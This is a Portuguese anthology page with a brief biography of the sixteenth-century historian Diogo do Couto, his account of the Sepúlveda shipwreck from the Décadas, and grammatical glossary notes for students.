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Diogo do Couto


DIOGO DO COUTO (Lisboa, 1542-1616) foi guarda-mor da Torre do Tombo, na Índia, e continuou as Décadas de . Espectador da lastimosa decadência dos Portugueses no Oriente, escreveu com ânimo o Soldado Prático, que aliás só foi impresso em 1790. Privou com o grande Camões e na década VII descreve como esse seu matalote e amigo vivia em Moçambique comendo de amigos. Escreveu também

poesias e vários opúsculos, mas principalmente se distingue pela independência e critério com que se enunciou sobre o da índia, O estilo é menos pomposo que o de Barros, porém, no sentir de Rebelo Da Silva, essa inferioridade de estilista é compensada pelas qualidades de historiador.

Naufrágio do Sepúlveda

Manuel de Sousa de Sepúlveda com os da sua companhia foi seguindo o caminho do rio de Manheça, com determinação de se deixarem ficar nele, se aquele rei lho consentisse; e, indo assim, tornaram os Cafres dar (558) neles, e isso que ficou sobre os corpos foi roubado, deixando-os nus. E D. Leonor, quando os Cafres a quiseram despir, o não quis consentir, antes às bofetadas e às dentadas, como leoa magoada, se defendia, porque antes queria que a matassem que despirem-na. (559) Manuel de Sousa de Sepúlveda, vendo sua amada esposa naquele estado e os filhinhos no chão chorando, parece que a mágoa e dor lhe ressuscitou o entendimento (como acontece à candeia, que se quer apagar, dar antes disso maior claridade) (560) e, tornando sobre si mais algum tanto se chegou à mulher, e, tornando sobre si mais algum tanto se chegou à mulher, e, toman-do-a sobre seus braços, lhe disse:

— Senhora, deixai-vos despir, e lembre-vos (561) que todos nascemos nus; e, pois disso é Deus servido, sede vós contente, que êle haverá por bem que seja isto em penitência de nossos pecados.

Com isto se deixou despir, não lhe deixando aqueles brutos desumanos coisa alguma com que se pudesse cobrir.

Vendo-se ela nua, assentou-se no chão, e espalhou os seus formosíssimos e compridos cabeos por diante, com o rosto todo baixo, porque (562) a pudessem cobrir, e assim com as mãos fêz uma cova na areia, onde se meteu até à cinta, sem mais se querer alevantar dali. Os homens da companhia, vendo D. Leonor, foram-se afastando de mágoa e vergonha. Vendo ela a André Vaz, o piloto que virava as costas pera se ir chamou por êle e lhe disse:

— Bem vedes, piloto, como estamos e que já não podemos passar daqui, onde parece tem Deus ordenado que eu e meus filhos acabemos por meus pecados; i-vos muito embora, (563) fazei por vos salvar, e encomendai-nos a Deus; e, se fordes à Índia e a Portugal em algum tempo, dizei como nos deixastes a Manuel de Sousa e a mim com meus filhos.

André Vaz, enternecido de mágoa daquele piedoso espetáculo, virou as costas sem responder nada, mas todo banhado em lágrimas, e foi continuando seu caminho após os outros, que iam já adiante. Manuel de Sousa com todos aqueles infortúnios e mágoas não se esqueceu da necessidade da mulher e dos tenros meninos, que estavam chorando com fome; foi-se aos matos a buscar alguma coisa pera lhes dar; e, quando tornou com algumas frutas bravas, achou já um dos meninos morto e D. Leonor como pasmada com os olhos nele e com outro no colo. Êle, pondo os olhos fitos nela e no menino morto, ficou assim um pequeno espaço (564) sem falar coisa alguma. Passado êle, fêz uma cova na areia e por sua mão o enterrou, lançando-lhe a derradeira bênção.

Feito isto, tornou-se ao mato a buscar mais frutas pera a mulher e pera o outro menino; e, quando tornou, achou ambos falecidos, e cinco escravas suas sobre os corpos, com grandes gritos e prantos. Vendo Manuel de Sousa de Sepúlveda aquela desventura, apartou dali as escravas, e assentou-se perto da mulher com o rosto sobre uma mão, e os olhos nela; e assim esteve espaço de meia hora, sem chorar nem dizer palavra. Passado aquele termo, levantou-se e começou a fazer uma cova com ajuda das escravas (sempre sem falar coisa alguma), e tomando a mulher nos braços, chegando o seu rosto ao dela um pouco a deitou na cova com o filho; e depois de a cobrir, sem dizer coisa alguma às moças, (565) se tornou a meter pelo mato, onde desapareceu sem mais se saber dele, e sempre se presumiu que os tigres o comeram.

(Década VI, liv. X, cap. XXII). Obra de DIOGO DO COUTO.

Notas de Glossário – Termos de Português

  • (558) tornaram dar = tornaram a dar. Cfr. começaram fazer.
  • (559) antes queria que a matassem que despirem-na. — O escritor preferiu no infinitivo a segunda parte, por evitar a repetição da partícula que: [do] que a despissem (aliás, podia omitir o segundo que, integrante, sem que tolhesse a compreensão nem infringisse os cânones: antes queria que a matassem do que a despissem. Seria um caso de haplologia sintática, isto é, eliminação de uma sílaba idêntica ou semelhante à seguinte, pertencente, porém, a outro vocábulo: construção que se descobre em textos clássicos.
  • (560) Observe o estudante, neste período .iniciado em Manuel, a quebra na construção gramatical, ou anacolutia. V. nn. 439 e 485.
  • (561) e lembre-vos… V. nn. 93 e 342.
  • (562) porque (com o verbo do subjuntivo) = para que.
  • (563) i-vos muito embora — / — (por ide), forma arcaica do imperativo: embora « in bona hora) tem aí o sentido inicial de em boa hora, com que se augurava o bem, o lucro, a proteção divina a quem partia ou chegava: ide-vos em boa hora, em momento favorável. Em Rodrigues Lobo: "Eu vou-me com meu cuidado; / ficai, pastores, embora". (Égloga, III, in jine). Aglutinaram-se os três elementos da locução, e, atualmente, o termo embora acompanha como advérbio os verbos ir e vir prono-minados ou não, (foi-se embora, vim-me embora), é conjunção concessiva (embora chova) e desempenha ainda o papel de , usado no plural (recebeu os emboras dos amigos), além de empregar-se como interjeição (É grande o perigo? Embora! Lá estaremos.). A idéia supersticiosa da hora nociva ou prejudicial criou igualmente a loc. em hora má (in hora mala) que se fossilizou, no passado da língua, nas formas alteradas e flutuantes eramâ, eremá, aramá, comuns em Gil Vicente.
  • (564) um pequeno espaço — de tempo.
  • (565) mèças chamam no norte de Portugal às serviçais, que são, no texto, as escravas a quem, linhas antes, se refere o autor.

Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional de escritores, Livraria Francisco Alves.

 

 

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